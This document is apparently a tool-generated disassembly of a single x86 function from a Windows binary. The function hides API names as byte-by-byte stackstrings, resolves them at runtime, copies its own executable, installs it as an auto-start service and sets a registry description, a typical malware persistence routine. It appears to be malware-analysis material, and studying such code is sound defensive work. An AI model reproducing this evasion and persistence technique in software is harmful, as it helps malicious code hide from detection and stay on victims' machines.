Function at 0x4055ce
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4221c0
push 0x420750
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x48c
push ebx
push esi
push edi
mov byte [ebp - 0x384], 0x47
mov byte [ebp - 0x383], 0x65
mov byte [ebp - 0x382], 0x74
mov byte [ebp - 0x381], 0x4d
mov byte [ebp - 0x380], 0x6f
mov byte [ebp - 0x37f], 0x64
mov byte [ebp - 0x37e], 0x75
mov byte [ebp - 0x37d], 0x6c
mov byte [ebp - 0x37c], 0x65
mov byte [ebp - 0x37b], 0x46
mov byte [ebp - 0x37a], 0x69
mov byte [ebp - 0x379], 0x6c
mov byte [ebp - 0x378], 0x65
mov byte [ebp - 0x377], 0x4e
mov byte [ebp - 0x376], 0x61
mov byte [ebp - 0x375], 0x6d
mov byte [ebp - 0x374], 0x65
mov byte [ebp - 0x373], 0x41
and byte [ebp - 0x372], 0
lea eax, [ebp - 0x384]
push eax
mov ebx, str.KERNEL32.dll
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call edi
push eax
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x370], eax
mov byte [ebp - 0x234], 0x43
mov byte [ebp - 0x233], 0x6f
mov byte [ebp - 0x232], 0x70
mov byte [ebp - 0x231], 0x79
mov byte [ebp - 0x230], 0x46
mov byte [ebp - 0x22f], 0x69
mov byte [ebp - 0x22e], 0x6c
mov byte [ebp - 0x22d], 0x65
mov byte [ebp - 0x22c], 0x41
and byte [ebp - 0x22b], 0
lea eax, [ebp - 0x234]
push eax
push ebx
call edi
push eax
call esi
mov dword [ebp - 0x224], eax
mov byte [ebp - 0x35c], 0x6c
mov byte [ebp - 0x35b], 0x73
mov byte [ebp - 0x35a], 0x74
mov byte [ebp - 0x359], 0x72
mov byte [ebp - 0x358], 0x63
mov byte [ebp - 0x357], 0x70
mov byte [ebp - 0x356], 0x79
mov byte [ebp - 0x355], 0x41
and byte [ebp - 0x354], 0
lea eax, [ebp - 0x35c]
push eax
push ebx
call edi
push eax
call esi
mov byte [ebp - 0x36c], 0x4b
mov byte [ebp - 0x36b], 0x45
mov byte [ebp - 0x36a], 0x52
mov byte [ebp - 0x369], 0x4e
mov byte [ebp - 0x368], 0x45
mov byte [ebp - 0x367], 0x4c
mov byte [ebp - 0x366], 0x33
mov byte [ebp - 0x365], 0x32
mov byte [ebp - 0x364], 0x2e
mov byte [ebp - 0x363], 0x64
mov byte [ebp - 0x362], 0x6c
mov byte [ebp - 0x361], 0x6c
and byte [ebp - 0x360], 0
mov byte [ebp - 0x350], 0x53
mov byte [ebp - 0x34f], 0x6c
mov byte [ebp - 0x34e], 0x65
mov byte [ebp - 0x34d], 0x65
mov byte [ebp - 0x34c], 0x70
and byte [ebp - 0x34b], 0
lea eax, [ebp - 0x350]
push eax
lea eax, [ebp - 0x36c]
push eax
call edi
push eax
call esi
mov dword [ebp - 0x228], eax
mov ebx, 0x104
push ebx
lea eax, [ebp - 0x33c]
push eax
push 0
call dword [ebp - 0x370]
push dword [ebp + 8]
push 0x426614
lea eax, [ebp - 0x220]
push eax
push dword [0x42d2a8]
call fcn.0040d76c
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x14
push eax
lea eax, [ebp - 0x33c]
push eax
lea eax, [ebp - 0x220]
push eax
mov ecx, dword [0x42d2a8]
call fcn.0040d7fe
test eax, eax
je 0x40589a
lea eax, [ebp - 0x220]
push eax
call fcn.00402df3
pop ecx
push 0
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x33c]
push eax
call dword [ebp - 0x224]
cmp dword [0x426394], 0
je 0x405875
lea eax, [ebp - 0x220]
push eax
call fcn.00401d35
pop ecx
push ebx
push 0
lea eax, [ebp - 0x33c]
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x33c]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x14
push 0x1388
call dword [ebp - 0x228]
xor eax, eax
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x340], eax
mov dword [ebp - 4], eax
mov byte [ebp - 0x398], 0x4f
mov byte [ebp - 0x397], 0x70
mov byte [ebp - 0x396], 0x65
mov byte [ebp - 0x395], 0x6e
mov byte [ebp - 0x394], 0x53
mov byte [ebp - 0x393], 0x43
mov byte [ebp - 0x392], 0x4d
mov byte [ebp - 0x391], 0x61
mov byte [ebp - 0x390], 0x6e
mov byte [ebp - 0x38f], 0x61
mov byte [ebp - 0x38e], 0x67
mov byte [ebp - 0x38d], 0x65
mov byte [ebp - 0x38c], 0x72
mov byte [ebp - 0x38b], 0x41
and byte [ebp - 0x38a], al
lea eax, [ebp - 0x398]
push eax
mov ebx, str.ADVAPI32.dll
push ebx
call edi
push eax
call esi
mov dword [ebp - 0x45c], eax
mov byte [ebp - 0x3ac], 0x43
mov byte [ebp - 0x3ab], 0x72
mov byte [ebp - 0x3aa], 0x65
mov byte [ebp - 0x3a9], 0x61
mov byte [ebp - 0x3a8], 0x74
mov byte [ebp - 0x3a7], 0x65
mov byte [ebp - 0x3a6], 0x53
mov byte [ebp - 0x3a5], 0x65
mov byte [ebp - 0x3a4], 0x72
mov byte [ebp - 0x3a3], 0x76
mov byte [ebp - 0x3a2], 0x69
mov byte [ebp - 0x3a1], 0x63
mov byte [ebp - 0x3a0], 0x65
mov byte [ebp - 0x39f], 0x41
and byte [ebp - 0x39e], 0
lea eax, [ebp - 0x3ac]
push eax
push ebx
call edi
push eax
call esi
mov dword [ebp - 0x388], eax
mov byte [ebp - 0x444], 0x4c
mov byte [ebp - 0x443], 0x6f
mov byte [ebp - 0x442], 0x63
mov byte [ebp - 0x441], 0x6b
mov byte [ebp - 0x440], 0x53
mov byte [ebp - 0x43f], 0x65
mov byte [ebp - 0x43e], 0x72
mov byte [ebp - 0x43d], 0x76
mov byte [ebp - 0x43c], 0x69
mov byte [ebp - 0x43b], 0x63
mov byte [ebp - 0x43a], 0x65
mov byte [ebp - 0x439], 0x44
mov byte [ebp - 0x438], 0x61
mov byte [ebp - 0x437], 0x74
mov byte [ebp - 0x436], 0x61
mov byte [ebp - 0x435], 0x62
mov byte [ebp - 0x434], 0x61
mov byte [ebp - 0x433], 0x73
mov byte [ebp - 0x432], 0x65
and byte [ebp - 0x431], 0
lea eax, [ebp - 0x444]
push eax
push ebx
call edi
push eax
call esi
mov dword [ebp - 0x3d8], eax
mov byte [ebp - 0x400], 0x43
mov byte [ebp - 0x3ff], 0x68
mov byte [ebp - 0x3fe], 0x61
mov byte [ebp - 0x3fd], 0x6e
mov byte [ebp - 0x3fc], 0x67
mov byte [ebp - 0x3fb], 0x65
mov byte [ebp - 0x3fa], 0x53
mov byte [ebp - 0x3f9], 0x65
mov byte [ebp - 0x3f8], 0x72
mov byte [ebp - 0x3f7], 0x76
mov byte [ebp - 0x3f6], 0x69
mov byte [ebp - 0x3f5], 0x63
mov byte [ebp - 0x3f4], 0x65
mov byte [ebp - 0x3f3], 0x43
mov byte [ebp - 0x3f2], 0x6f
mov byte [ebp - 0x3f1], 0x6e
mov byte [ebp - 0x3f0], 0x66
mov byte [ebp - 0x3ef], 0x69
mov byte [ebp - 0x3ee], 0x67
mov byte [ebp - 0x3ed], 0x32
mov byte [ebp - 0x3ec], 0x41
and byte [ebp - 0x3eb], 0
lea eax, [ebp - 0x400]
push eax
push ebx
call edi
push eax
call esi
mov dword [ebp - 0x454], eax
mov byte [ebp - 0x3d4], 0x55
mov byte [ebp - 0x3d3], 0x6e
mov byte [ebp - 0x3d2], 0x6c
mov byte [ebp - 0x3d1], 0x6f
mov byte [ebp - 0x3d0], 0x63
mov byte [ebp - 0x3cf], 0x6b
mov byte [ebp - 0x3ce], 0x53
mov byte [ebp - 0x3cd], 0x65
mov byte [ebp - 0x3cc], 0x72
mov byte [ebp - 0x3cb], 0x76
mov byte [ebp - 0x3ca], 0x69
mov byte [ebp - 0x3c9], 0x63
mov byte [ebp - 0x3c8], 0x65
mov byte [ebp - 0x3c7], 0x44
mov byte [ebp - 0x3c6], 0x61
mov byte [ebp - 0x3c5], 0x74
mov byte [ebp - 0x3c4], 0x61
mov byte [ebp - 0x3c3], 0x62
mov byte [ebp - 0x3c2], 0x61
mov byte [ebp - 0x3c1], 0x73
mov byte [ebp - 0x3c0], 0x65
and byte [ebp - 0x3bf], 0
lea eax, [ebp - 0x3d4]
push eax
push ebx
call edi
push eax
call esi
mov dword [ebp - 0x474], eax
mov byte [ebp - 0x46c], 0x47
mov byte [ebp - 0x46b], 0x65
mov byte [ebp - 0x46a], 0x74
mov byte [ebp - 0x469], 0x4c
mov byte [ebp - 0x468], 0x61
mov byte [ebp - 0x467], 0x73
mov byte [ebp - 0x466], 0x74
mov byte [ebp - 0x465], 0x45
mov byte [ebp - 0x464], 0x72
mov byte [ebp - 0x463], 0x72
mov byte [ebp - 0x462], 0x6f
mov byte [ebp - 0x461], 0x72
and byte [ebp - 0x460], 0
lea eax, [ebp - 0x46c]
push eax
lea eax, [ebp - 0x36c]
push eax
call edi
push eax
call esi
mov dword [ebp - 0x458], eax
mov byte [ebp - 0x3bc], 0x53
mov byte [ebp - 0x3bb], 0x74
mov byte [ebp - 0x3ba], 0x61
mov byte [ebp - 0x3b9], 0x72
mov byte [ebp - 0x3b8], 0x74
mov byte [ebp - 0x3b7], 0x53
mov byte [ebp - 0x3b6], 0x65
mov byte [ebp - 0x3b5], 0x72
mov byte [ebp - 0x3b4], 0x76
mov byte [ebp - 0x3b3], 0x69
mov byte [ebp - 0x3b2], 0x63
mov byte [ebp - 0x3b1], 0x65
mov byte [ebp - 0x3b0], 0x41
and byte [ebp - 0x3af], 0
lea eax, [ebp - 0x3bc]
push eax
push ebx
call edi
push eax
call esi
mov dword [ebp - 0x3e8], eax
mov byte [ebp - 0x430], 0x4f
mov byte [ebp - 0x42f], 0x70
mov byte [ebp - 0x42e], 0x65
mov byte [ebp - 0x42d], 0x6e
mov byte [ebp - 0x42c], 0x53
mov byte [ebp - 0x42b], 0x65
mov byte [ebp - 0x42a], 0x72
mov byte [ebp - 0x429], 0x76
mov byte [ebp - 0x428], 0x69
mov byte [ebp - 0x427], 0x63
mov byte [ebp - 0x426], 0x65
mov byte [ebp - 0x425], 0x41
and byte [ebp - 0x424], 0
lea eax, [ebp - 0x430]
push eax
push ebx
call edi
push eax
call esi
mov dword [ebp - 0x420], eax
push 0xf003f
push 0
push 0
call dword [ebp - 0x45c]
mov dword [ebp - 0x340], eax
xor ecx, ecx
cmp eax, ecx
je 0x405f7e
push ecx
push ecx
push ecx
push ecx
push ecx
lea edx, [ebp - 0x33c]
push edx
push ecx
push 2
push 0x110
push 0xf01ff
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call dword [ebp - 0x388]
mov dword [ebp - 0x348], eax
push dword [ebp - 0x340]
call dword [ebp - 0x3d8]
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x39c], 0x42d11c
lea eax, [ebp - 0x39c]
push eax
push 1
push dword [ebp - 0x348]
call dword [ebp - 0x454]
push dword [ebp - 0x448]
call dword [ebp - 0x474]
cmp dword [ebp - 0x348], 0
jne 0x405dd3
call dword [ebp - 0x458]
cmp eax, 0x431
jne 0x405dd3
push 0xf01ff
push dword [ebp + 0xc]
push dword [ebp - 0x340]
call dword [ebp - 0x420]
mov dword [ebp - 0x348], eax
test eax, eax
je 0x405f7e
push 0
push 0
push eax
call dword [ebp - 0x3e8]
mov byte [ebp - 0x41c], 0x6c
mov byte [ebp - 0x41b], 0x73
mov byte [ebp - 0x41a], 0x74
mov byte [ebp - 0x419], 0x72
mov byte [ebp - 0x418], 0x6c
mov byte [ebp - 0x417], 0x65
mov byte [ebp - 0x416], 0x6e
mov byte [ebp - 0x415], 0x41
and byte [ebp - 0x414], 0
lea eax, [ebp - 0x41c]
push eax
push str.KERNEL32.dll
call edi
push eax
call esi
mov dword [ebp - 0x450], eax
mov byte [ebp - 0x410], 0x52
mov byte [ebp - 0x40f], 0x65
mov byte [ebp - 0x40e], 0x67
mov byte [ebp - 0x40d], 0x53
mov byte [ebp - 0x40c], 0x65
mov byte [ebp - 0x40b], 0x74
mov byte [ebp - 0x40a], 0x56
mov byte [ebp - 0x409], 0x61
mov byte [ebp - 0x408], 0x6c
mov byte [ebp - 0x407], 0x75
mov byte [ebp - 0x406], 0x65
mov byte [ebp - 0x405], 0x45
mov byte [ebp - 0x404], 0x78
mov byte [ebp - 0x403], 0x41
and byte [ebp - 0x402], 0
lea eax, [ebp - 0x410]
push eax
push ebx
call edi
push eax
call esi
mov dword [ebp - 0x44c], eax
mov byte [ebp - 0x3e4], 0x52
mov byte [ebp - 0x3e3], 0x65
mov byte [ebp - 0x3e2], 0x67
mov byte [ebp - 0x3e1], 0x4f
mov byte [ebp - 0x3e0], 0x70
mov byte [ebp - 0x3df], 0x65
mov byte [ebp - 0x3de], 0x6e
mov byte [ebp - 0x3dd], 0x4b
mov byte [ebp - 0x3dc], 0x65
mov byte [ebp - 0x3db], 0x79
mov byte [ebp - 0x3da], 0x41
and byte [ebp - 0x3d9], 0
lea eax, [ebp - 0x3e4]
push eax
push ebx
call edi
push eax
call esi
mov dword [ebp - 0x470], eax
push 0
push 0
push dword [ebp - 0x348]
call dword [ebp - 0x3e8]
test eax, eax
je 0x405f7e
push str.SYSTEMCurrentControlSetServices_
lea eax, [ebp - 0x11c]
push eax
call sub.MSVCRT.dll_strcpy
push dword [ebp + 0xc]
lea eax, [ebp - 0x11c]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x11c]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [ebp - 0x470]
push dword [ebp + 0x14]
call dword [ebp - 0x450]
push eax
push dword [ebp + 0x14]
push 1
push 0
push str.Description
push dword [ebp - 0x238]
call dword [ebp - 0x44c]
or dword [ebp - 4], 0xffffffff
call fcn.00405fa7
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret